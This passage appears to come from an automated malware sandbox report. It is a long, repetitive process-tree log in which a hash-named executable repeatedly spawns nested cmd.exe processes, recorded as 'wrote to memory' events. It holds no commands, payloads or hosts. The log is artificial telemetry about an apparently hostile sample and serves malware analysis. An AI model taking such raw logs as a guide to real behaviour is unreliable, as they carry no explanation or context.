cmd.exe 439 PID 1492 wrote to memory of 1120 1492 cmd.exe 439 PID 1492 wrote to memory of 1120 1492 cmd.exe 439 PID 1492 wrote to memory of 1248 1492 cmd.exe 440 PID 1492 wrote to memory of 1248 1492 cmd.exe 440 PID 1492 wrote to memory of 1248 1492 cmd.exe 440 PID 1492 wrote to memory of 1248 1492 cmd.exe 440 PID 1492 wrote to memory of 1900 1492 cmd.exe 441 PID 1492 wrote to memory of 1900 1492 cmd.exe 441 PID 1492 wrote to memory of 1900 1492 cmd.exe 441 PID 1492 wrote to memory of 1900 1492 cmd.exe 441 PID 1900 wrote to memory of 1888 1900 cmd.exe 442 PID 1900 wrote to memory of 1888 1900 cmd.exe 442 PID 1900 wrote to memory of 1888 1900 cmd.exe 442 PID 1900 wrote to memory of 1888 1900 cmd.exe 442 PID 1492 wrote to memory of 1544 1492 cmd.exe 443 PID 1492 wrote to memory of 1544 1492 cmd.exe 443 PID 1492 wrote to memory of 1544 1492 cmd.exe 443 PID 1492 wrote to memory of 1544 1492 cmd.exe 443 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 444 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 444 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 444 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 444 PID 336 wrote to memory of 1412 336 cmd.exe 446 PID 336 wrote to memory of 1412 336 cmd.exe 446 PID 336 wrote to memory of 1412 336 cmd.exe 446 PID 336 wrote to memory of 1412 336 cmd.exe 446 PID 336 wrote to memory of 340 336 cmd.exe 447 PID 336 wrote to memory of 340 336 cmd.exe 447 PID 336 wrote to memory of 340 336 cmd.exe 447 PID 336 wrote to memory of 340 336 cmd.exe 447 PID 336 wrote to memory of 1184 336 cmd.exe 448 PID 336 wrote to memory of 1184 336 cmd.exe 448 PID 336 wrote to memory of 1184 336 cmd.exe 448 PID 336 wrote to memory of 1184 336 cmd.exe 448 PID 1184 wrote to memory of 552 1184 cmd.exe 449 PID 1184 wrote to memory of 552 1184 cmd.exe 449 PID 1184 wrote to memory of 552 1184 cmd.exe 449 PID 1184 wrote to memory of 552 1184 cmd.exe 449 PID 336 wrote to memory of 1780 336 cmd.exe 450 PID 336 wrote to memory of 1780 336 cmd.exe 450 PID 336 wrote to memory of 1780 336 cmd.exe 450 PID 336 wrote to memory of 1780 336 cmd.exe 450 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 451 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 451 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 451 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 451 PID 616 wrote to memory of 904 616 cmd.exe 453 PID 616 wrote to memory of 904 616 cmd.exe 453 PID 616 wrote to memory of 904 616 cmd.exe 453 PID 616 wrote to memory of 904 616 cmd.exe 453 PID 616 wrote to memory of 1532 616 cmd.exe 454 PID 616 wrote to memory of 1532 616 cmd.exe 454 PID 616 wrote to memory of 1532 616 cmd.exe 454 PID 616 wrote to memory of 1532 616 cmd.exe 454 PID 616 wrote to memory of 1308 616 cmd.exe 455 PID 616 wrote to memory of 1308 616 cmd.exe 455 PID 616 wrote to memory of 1308 616 cmd.exe 455 PID 616 wrote to memory of 1308 616 cmd.exe 455 PID 1308 wrote to memory of 1896 1308 cmd.exe 456 PID 1308 wrote to memory of 1896 1308 cmd.exe 456 PID 1308 wrote to memory of 1896 1308 cmd.exe 456 PID 1308 wrote to memory of 1896 1308 cmd.exe 456 PID 616 wrote to memory of 1196 616 cmd.exe 457 PID 616 wrote to memory of 1196 616 cmd.exe 457 PID 616 wrote to memory of 1196 616 cmd.exe 457 PID 616 wrote to memory of 1196 616 cmd.exe 457 PID 1332 wrote to memory of 732 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 458 PID 1332 wrote to memory of 732 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 458 PID 1332 wrote to memory of 732 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 458 PID 1332 wrote to memory of 732 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 458 PID 732 wrote to memory of 2044 732 cmd.exe 460 PID 732 wrote to memory of 2044 732 cmd.exe 460 PID 732 wrote to memory of 2044 732 cmd.exe 460 PID 732 wrote to memory of 2044 732 cmd.exe 460 PID 732 wrote to memory of 1232 732 cmd.exe 461 PID 732 wrote to memory of 1232 732 cmd.exe 461 PID 732 wrote to memory of 1232 732 cmd.exe 461 PID 732 wrote to memory of 1232 732 cmd.exe 461 PID 732 wrote to memory of 928 732 cmd.exe 462 PID 732 wrote to memory of 928 732 cmd.exe 462 PID 732 wrote to memory of 928 732 cmd.exe 462 PID 732 wrote to memory of 928 732 cmd.exe 462 PID 928 wrote to memory of 1096 928 cmd.exe 463 PID 928 wrote to memory of 1096 928 cmd.exe 463 PID 928 wrote to memory of 1096 928 cmd.exe 463 PID 928 wrote to memory of 1096 928 cmd.exe 463 PID 732 wrote to memory of 1888 732 cmd.exe 464 PID 732 wrote to memory of 1888 732 cmd.exe 464 PID 732 wrote to memory of 1888 732 cmd.exe 464 PID 732 wrote to memory of 1888 732 cmd.exe 464 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 466 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 466 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 466 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 466 PID 1932 wrote to memory of 1040 1932 cmd.exe 468 PID 1932 wrote to memory of 1040 1932 cmd.exe 468 PID 1932 wrote to memory of 1040 1932 cmd.exe 468 PID 1932 wrote to memory of 1040 1932 cmd.exe 468 PID 1932 wrote to memory of 1328 1932 cmd.exe 469 PID 1932 wrote to memory of 1328 1932 cmd.exe 469 PID 1932 wrote to memory of 1328 1932 cmd.exe 469 PID 1932 wrote to memory of 1328 1932 cmd.exe 469 PID 1932 wrote to memory of 1184 1932 cmd.exe 470 PID 1932 wrote to memory of 1184 1932 cmd.exe 470 PID 1932 wrote to memory of 1184 1932 cmd.exe 470 PID 1932 wrote to memory of 1184 1932 cmd.exe 470 PID 1184 wrote to memory of 624 1184 cmd.exe 471 PID 1184 wrote to memory of 624 1184 cmd.exe 471 PID 1184 wrote to memory of 624 1184 cmd.exe 471 PID 1184 wrote to memory of 624 1184 cmd.exe 471 PID 1932 wrote to memory of 336 1932 cmd.exe 472 PID 1932 wrote to memory of 336 1932 cmd.exe 472 PID 1932 wrote to memory of 336 1932 cmd.exe 472 PID 1932 wrote to memory of 336 1932 cmd.exe 472 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 473 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 473 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 473 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 473 PID 1984 wrote to memory of 300 1984 cmd.exe 475 PID 1984 wrote to memory of 300 1984 cmd.exe 475 PID 1984 wrote to memory of 300 1984 cmd.exe 475 PID 1984 wrote to memory of 300 1984 cmd.exe 475 PID 1984 wrote to memory of 1896 1984 cmd.exe 476 PID 1984 wrote to memory of 1896 1984 cmd.exe 476 PID 1984 wrote to memory of 1896 1984 cmd.exe 476 PID 1984 wrote to memory of 1896 1984 cmd.exe 476 PID 1984 wrote to memory of 2028 1984 cmd.exe 477 PID 1984 wrote to memory of 2028 1984 cmd.exe 477 PID 1984 wrote to memory of 2028 1984 cmd.exe 477 PID 1984 wrote to memory of 2028 1984 cmd.exe 477 PID 2028 wrote to memory of 1196 2028 cmd.exe 478 PID 2028 wrote to memory of 1196 2028 cmd.exe 478 PID 2028 wrote to memory of 1196 2028 cmd.exe 478 PID 2028 wrote to memory of 1196 2028 cmd.exe 478 PID 1984 wrote to memory of 1408 1984 cmd.exe 479 PID 1984 wrote to memory of 1408 1984 cmd.exe 479 PID 1984 wrote to memory of 1408 1984 cmd.exe 479 PID 1984 wrote to memory of 1408 1984 cmd.exe 479 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 480 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 480 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 480 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 480 PID 2044 wrote to memory of 872 2044 cmd.exe 482 PID 2044 wrote to memory of 872 2044 cmd.exe 482 PID 2044 wrote to memory of 872 2044 cmd.exe 482 PID 2044 wrote to memory of 872 2044 cmd.exe 482 PID 2044 wrote to memory of 1012 2044 cmd.exe 483 PID 2044 wrote to memory of 1012 2044 cmd.exe 483 PID 2044 wrote to memory of 1012 2044 cmd.exe 483 PID 2044 wrote to memory of 1012 2044 cmd.exe 483 PID 2044 wrote to memory of 1888 2044 cmd.exe 484 PID 2044 wrote to memory of 1888 2044 cmd.exe 484 PID 2044 wrote to memory of 1888 2044 cmd.exe 484 PID 2044 wrote to memory of 1888 2044 cmd.exe 484 PID 1888 wrote to memory of 732 1888 cmd.exe 485 PID 1888 wrote to memory of 732 1888 cmd.exe 485 PID 1888 wrote to memory of 732 1888 cmd.exe 485 PID 1888 wrote to memory of 732 1888 cmd.exe 485 PID 2044 wrote to memory of 1168 2044 cmd.exe 486 PID 2044 wrote to memory of 1168 2044 cmd.exe 486 PID 2044 wrote to memory of 1168 2044 cmd.exe 486 PID 2044 wrote to memory of 1168 2044 cmd.exe 486 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 487 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 487 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 487 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 487 PID 1040 wrote to memory of 832 1040 cmd.exe 489 PID 1040 wrote to memory of 832 1040 cmd.exe 489 PID 1040 wrote to memory of 832 1040 cmd.exe 489 PID 1040 wrote to memory of 832 1040 cmd.exe 489 PID 1040 wrote to memory of 1184 1040 cmd.exe 490 PID 1040 wrote to memory of 1184 1040 cmd.exe 490 PID 1040 wrote to memory of 1184 1040 cmd.exe 490 PID 1040 wrote to memory of 1184 1040 cmd.exe 490 PID 1040 wrote to memory of 1052 1040 cmd.exe 491 PID 1040 wrote to memory of 1052 1040 cmd.exe 491 PID 1040 wrote to memory of 1052 1040 cmd.exe 491 PID 1040 wrote to memory of 1052 1040 cmd.exe 491 PID 1052 wrote to memory of 1212 1052 cmd.exe 492 PID 1052 wrote to memory of 1212 1052 cmd.exe 492 PID 1052 wrote to memory of 1212 1052 cmd.exe 492 PID 1052 wrote to memory of 1212 1052 cmd.exe 492 PID 1040 wrote to memory of 300 1040 cmd.exe 494 PID 1040 wrote to memory of 300 1040 cmd.exe 494 PID 1040 wrote to memory of 300 1040 cmd.exe 494 PID 1040 wrote to memory of 300 1040 cmd.exe 494 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 495 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 495 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 495 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 495 PID 616 wrote to memory of 1784 616 cmd.exe 497 PID 616 wrote to memory of 1784 616 cmd.exe 497 PID 616 wrote to memory of 1784 616 cmd.exe 497 PID 616 wrote to memory of 1784 616 cmd.exe 497 PID 616 wrote to memory of 240 616 cmd.exe 498 PID 616 wrote to memory of 240 616 cmd.exe 498 PID 616 wrote to memory of 240 616 cmd.exe 498 PID 616 wrote to memory of 240 616 cmd.exe 498 PID 616 wrote to memory of 1984 616 cmd.exe 499 PID 616 wrote to memory of 1984 616 cmd.exe 499 PID 616 wrote to memory of 1984 616 cmd.exe 499 PID 616 wrote to memory of 1984 616 cmd.exe 499 PID 1984 wrote to memory of 2008 1984 cmd.exe 500 PID 1984 wrote to memory of 2008 1984 cmd.exe 500 PID 1984 wrote to memory of 2008 1984 cmd.exe 500 PID 1984 wrote to memory of 2008 1984 cmd.exe 500 PID 616 wrote to memory of 928 616 cmd.exe 501 PID 616 wrote to memory of 928 616 cmd.exe 501 PID 616 wrote to memory of 928 616 cmd.exe 501 PID 616 wrote to memory of 928 616 cmd.exe 501 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 502 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 502 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 502 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 502 PID 2020 wrote to memory of 1888 2020 cmd.exe 504 PID 2020 wrote to memory of 1888 2020 cmd.exe 504 PID 2020 wrote to memory of 1888 2020 cmd.exe 504 PID 2020 wrote to memory of 1888 2020 cmd.exe 504 PID 2020 wrote to memory of 1168 2020 cmd.exe 505 PID 2020 wrote to memory of 1168 2020 cmd.exe 505 PID 2020 wrote to memory of 1168 2020 cmd.exe 505 PID 2020 wrote to memory of 1168 2020 cmd.exe 505 PID 2020 wrote to memory of 2044 2020 cmd.exe 506 PID 2020 wrote to memory of 2044 2020 cmd.exe 506 PID 2020 wrote to memory of 2044 2020 cmd.exe 506 PID 2020 wrote to memory of 2044 2020 cmd.exe 506 PID 2044 wrote to memory of 1940 2044 cmd.exe 507 PID 2044 wrote to memory of 1940 2044 cmd.exe 507 PID 2044 wrote to memory of 1940 2044 cmd.exe 507 PID 2044 wrote to memory of 1940 2044 cmd.exe 507 PID 2020 wrote to memory of 764 2020 cmd.exe 508 PID 2020 wrote to memory of 764 2020 cmd.exe 508 PID 2020 wrote to memory of 764 2020 cmd.exe 508 PID 2020 wrote to memory of 764 2020 cmd.exe 508 PID 1332 wrote to memory of 952 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 509 PID 1332 wrote to memory of 952 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 509 PID 1332 wrote to memory of 952 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 509 PID 1332 wrote to memory of 952 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 509 PID 952 wrote to memory of 1052 952 cmd.exe 511 PID 952 wrote to memory of 1052 952 cmd.exe 511 PID 952 wrote to memory of 1052 952 cmd.exe 511 PID 952 wrote to memory of 1052 952 cmd.exe 511 PID 952 wrote to memory of 300 952 cmd.exe 512 PID 952 wrote to memory of 300 952 cmd.exe 512 PID 952 wrote to memory of 300 952 cmd.exe 512 PID 952 wrote to memory of 300 952 cmd.exe 512 PID 952 wrote to memory of 1040 952 cmd.exe 513 PID 952 wrote to memory of 1040 952 cmd.exe 513 PID 952 wrote to memory of 1040 952 cmd.exe 513 PID 952 wrote to memory of 1040 952 cmd.exe 513 PID 1040 wrote to memory of 696 1040 cmd.exe 514 PID 1040 wrote to memory of 696 1040 cmd.exe 514 PID 1040 wrote to memory of 696 1040 cmd.exe 514 PID 1040 wrote to memory of 696 1040 cmd.exe 514 PID 952 wrote to memory of 1104 952 cmd.exe 515 PID 952 wrote to memory of 1104 952 cmd.exe 515 PID 952 wrote to memory of 1104 952 cmd.exe 515 PID 952 wrote to memory of 1104 952 cmd.exe 515 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 516 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 516 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 516 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 516 PID 904 wrote to memory of 1984 904 cmd.exe 518 PID 904 wrote to memory of 1984 904 cmd.exe 518 PID 904 wrote to memory of 1984 904 cmd.exe 518 PID 904 wrote to memory of 1984 904 cmd.exe 518 PID 904 wrote to memory of 872 904 cmd.exe 519 PID 904 wrote to memory of 872 904 cmd.exe 519 PID 904 wrote to memory of 872 904 cmd.exe 519 PID 904 wrote to memory of 872 904 cmd.exe 519 PID 904 wrote to memory of 844 904 cmd.exe 520 PID 904 wrote to memory of 844 904 cmd.exe 520 PID 904 wrote to memory of 844 904 cmd.exe 520 PID 904 wrote to memory of 844 904 cmd.exe 520 PID 844 wrote to memory of 1196 844 cmd.exe 521 PID 844 wrote to memory of 1196 844 cmd.exe 521 PID 844 wrote to memory of 1196 844 cmd.exe 521 PID 844 wrote to memory of 1196 844 cmd.exe 521 PID 904 wrote to memory of 792 904 cmd.exe 522 PID 904 wrote to memory of 792 904 cmd.exe 522 PID 904 wrote to memory of 792 904 cmd.exe 522 PID 904 wrote to memory of 792 904 cmd.exe 522 PID 1332 wrote to memory of 1068 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 523 PID 1332 wrote to memory of 1068 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 523 PID 1332 wrote to memory of 1068 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 523 PID 1332 wrote to memory of 1068 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 523 PID 1068 wrote to memory of 940 1068 cmd.exe 525 PID 1068 wrote to memory of 940 1068 cmd.exe 525 PID 1068 wrote to memory of 940 1068 cmd.exe 525 PID 1068 wrote to memory of 940 1068 cmd.exe 525 PID 1068 wrote to memory of 1108 1068 cmd.exe 526 PID 1068 wrote to memory of 1108 1068 cmd.exe 526 PID 1068 wrote to memory of 1108 1068 cmd.exe 526 PID 1068 wrote to memory of 1108 1068 cmd.exe 526 PID 1068 wrote to memory of 1452 1068 cmd.exe 527 PID 1068 wrote to memory of 1452 1068 cmd.exe 527 PID 1068 wrote to memory of 1452 1068 cmd.exe 527 PID 1068 wrote to memory of 1452 1068 cmd.exe 527 PID 1452 wrote to memory of 1212 1452 cmd.exe 528 PID 1452 wrote to memory of 1212 1452 cmd.exe 528 PID 1452 wrote to memory of 1212 1452 cmd.exe 528 PID 1452 wrote to memory of 1212 1452 cmd.exe 528 PID 1068 wrote to memory of 1788 1068 cmd.exe 529 PID 1068 wrote to memory of 1788 1068 cmd.exe 529 PID 1068 wrote to memory of 1788 1068 cmd.exe 529 PID 1068 wrote to memory of 1788 1068 cmd.exe 529 PID 1332 wrote to memory of 992 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 530 PID 1332 wrote to memory of 992 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 530 PID 1332 wrote to memory of 992 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 530 PID 1332 wrote to memory of 992 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 530 PID 992 wrote to memory of 240 992 cmd.exe 532 PID 992 wrote to memory of 240 992 cmd.exe 532 PID 992 wrote to memory of 240 992 cmd.exe 532 PID 992 wrote to memory of 240 992 cmd.exe 532 PID 992 wrote to memory of 1932 992 cmd.exe 533 PID 992 wrote to memory of 1932 992 cmd.exe 533 PID 992 wrote to memory of 1932 992 cmd.exe 533 PID 992 wrote to memory of 1932 992 cmd.exe 533 PID 992 wrote to memory of 1132 992 cmd.exe 534 PID 992 wrote to memory of 1132 992 cmd.exe 534 PID 992 wrote to memory of 1132 992 cmd.exe 534 PID 992 wrote to memory of 1132 992 cmd.exe 534 PID 1132 wrote to memory of 948 1132 cmd.exe 535 PID 1132 wrote to memory of 948 1132 cmd.exe 535 PID 1132 wrote to memory of 948 1132 cmd.exe 535 PID 1132 wrote to memory of 948 1132 cmd.exe 535 PID 992 wrote to memory of 928 992 cmd.exe 536 PID 992 wrote to memory of 928 992 cmd.exe 536 PID 992 wrote to memory of 928 992 cmd.exe 536 PID 992 wrote to memory of 928 992 cmd.exe 536 PID 1332 wrote to memory of 1364 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 537 PID 1332 wrote to memory of 1364 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 537 PID 1332 wrote to memory of 1364 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 537 PID 1332 wrote to memory of 1364 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 537 PID 1364 wrote to memory of 1700 1364 cmd.exe 539 PID 1364 wrote to memory of 1700 1364 cmd.exe 539 PID 1364 wrote to memory of 1700 1364 cmd.exe 539 PID 1364 wrote to memory of 1700 1364 cmd.exe 539 PID 1364 wrote to memory of 1604 1364 cmd.exe 540 PID 1364 wrote to memory of 1604 1364 cmd.exe 540 PID 1364 wrote to memory of 1604 1364 cmd.exe 540 PID 1364 wrote to memory of 1604 1364 cmd.exe 540 PID 1364 wrote to memory of 2008 1364 cmd.exe 541 PID 1364 wrote to memory of 2008 1364 cmd.exe 541 PID 1364 wrote to memory of 2008 1364 cmd.exe 541 PID 1364 wrote to memory of 2008 1364 cmd.exe 541 PID 2008 wrote to memory of 1940 2008 cmd.exe 542 PID 2008 wrote to memory of 1940 2008 cmd.exe 542 PID 2008 wrote to memory of 1940 2008 cmd.exe 542 PID 2008 wrote to memory of 1940 2008 cmd.exe 542 PID 1364 wrote to memory of 2000 1364 cmd.exe 543 PID 1364 wrote to memory of 2000 1364 cmd.exe 543 PID 1364 wrote to memory of 2000 1364 cmd.exe 543 PID 1364 wrote to memory of 2000 1364 cmd.exe 543 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 544 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 544 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 544 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 544 PID 1896 wrote to memory of 1328 1896 cmd.exe 546 PID 1896 wrote to memory of 1328 1896 cmd.exe 546 PID 1896 wrote to memory of 1328 1896 cmd.exe 546 PID 1896 wrote to memory of 1328 1896 cmd.exe 546 PID 1896 wrote to memory of 2044 1896 cmd.exe 547 PID 1896 wrote to memory of 2044 1896 cmd.exe 547 PID 1896 wrote to memory of 2044 1896 cmd.exe 547 PID 1896 wrote to memory of 2044 1896 cmd.exe 547 PID 1896 wrote to memory of 1248 1896 cmd.exe 548 PID 1896 wrote to memory of 1248 1896 cmd.exe 548 PID 1896 wrote to memory of 1248 1896 cmd.exe 548 PID 1896 wrote to memory of 1248 1896 cmd.exe 548 PID 1248 wrote to memory of 1040 1248 cmd.exe 549 PID 1248 wrote to memory of 1040 1248 cmd.exe 549 PID 1248 wrote to memory of 1040 1248 cmd.exe 549 PID 1248 wrote to memory of 1040 1248 cmd.exe 549 PID 1896 wrote to memory of 240 1896 cmd.exe 550 PID 1896 wrote to memory of 240 1896 cmd.exe 550 PID 1896 wrote to memory of 240 1896 cmd.exe 550 PID 1896 wrote to memory of 240 1896 cmd.exe 550 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 551 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 551 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 551 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 551 PID 1984 wrote to memory of 1956 1984 cmd.exe 553 PID 1984 wrote to memory of 1956 1984 cmd.exe 553 PID 1984 wrote to memory of 1956 1984 cmd.exe 553 PID 1984 wrote to memory of 1956 1984 cmd.exe 553 PID 1984 wrote to memory of 428 1984 cmd.exe 554 PID 1984 wrote to memory of 428 1984 cmd.exe 554 PID 1984 wrote to memory of 428 1984 cmd.exe 554 PID 1984 wrote to memory of 428 1984 cmd.exe 554 PID 1984 wrote to memory of 1532 1984 cmd.exe 555 PID 1984 wrote to memory of 1532 1984 cmd.exe 555 PID 1984 wrote to memory of 1532 1984 cmd.exe 555 PID 1984 wrote to memory of 1532 1984 cmd.exe 555 PID 1532 wrote to memory of 1196 1532 cmd.exe 556 PID 1532 wrote to memory of 1196 1532 cmd.exe 556 PID 1532 wrote to memory of 1196 1532 cmd.exe 556 PID 1532 wrote to memory of 1196 1532 cmd.exe 556 PID 1984 wrote to memory of 904 1984 cmd.exe 557 PID 1984 wrote to memory of 904 1984 cmd.exe 557 PID 1984 wrote to memory of 904 1984 cmd.exe 557 PID 1984 wrote to memory of 904 1984 cmd.exe 557 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 558 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 558 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 558 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 558 PID 832 wrote to memory of 1108 832 cmd.exe 560 PID 832 wrote to memory of 1108 832 cmd.exe 560 PID 832 wrote to memory of 1108 832 cmd.exe 560 PID 832 wrote to memory of 1108 832 cmd.exe 560 PID 832 wrote to memory of 680 832 cmd.exe 561 PID 832 wrote to memory of 680 832 cmd.exe 561 PID 832 wrote to memory of 680 832 cmd.exe 561 PID 832 wrote to memory of 680 832 cmd.exe 561 PID 832 wrote to memory of 844 832 cmd.exe 562 PID 832 wrote to memory of 844 832 cmd.exe 562 PID 832 wrote to memory of 844 832 cmd.exe 562 PID 832 wrote to memory of 844 832 cmd.exe 562 PID 844 wrote to memory of 1184 844 cmd.exe 563 PID 844 wrote to memory of 1184 844 cmd.exe 563 PID 844 wrote to memory of 1184 844 cmd.exe 563 PID 844 wrote to memory of 1184 844 cmd.exe 563 PID 832 wrote to memory of 1068 832 cmd.exe 564 PID 832 wrote to memory of 1068 832 cmd.exe 564 PID 832 wrote to memory of 1068 832 cmd.exe 564 PID 832 wrote to memory of 1068 832 cmd.exe 564 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 565 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 565 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 565 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 565 PID 336 wrote to memory of 1928 336 cmd.exe 567 PID 336 wrote to memory of 1928 336 cmd.exe 567 PID 336 wrote to memory of 1928 336 cmd.exe 567 PID 336 wrote to memory of 1928 336 cmd.exe 567 PID 336 wrote to memory of 1056 336 cmd.exe 568 PID 336 